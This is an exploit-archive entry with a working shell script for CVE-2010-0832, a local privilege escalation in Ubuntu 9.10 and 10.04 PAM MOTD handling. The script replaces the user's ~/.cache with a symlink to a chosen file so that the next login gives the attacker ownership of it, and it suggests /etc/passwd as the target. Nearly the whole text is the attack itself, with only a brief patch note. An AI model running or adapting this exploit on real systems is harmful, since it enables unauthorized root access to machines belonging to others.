Ubuntu PAM MOTD File Tampering Privilege Escalation

`#!/bin/sh  
#  
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)  
# Date: July 7, 2010  
# Author: Kristian Erik Hermansen <[email protected]>  
# Software Link: http://packages.ubuntu.com/  
# Version: pam-1.1.0  
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)  
# CVE : CVE-2010-0832  
#  
# Notes: Affects Ubuntu 9.10 and 10.04 LTS  
# [Patch Instructions]  
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i  
#  
  
if [ $# -eq 0 ]; then  
echo "Usage: $0 /path/to/file"  
exit 1  
fi  
  
mkdir $HOME/backup 2> /dev/null  
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)  
mv $HOME/.cache/ $tmpdir 2> /dev/null  
echo "\n@@@ File before tampering ...\n"  
ls -l $1  
ln -sf $1 $HOME/.cache  
echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n"  
  
`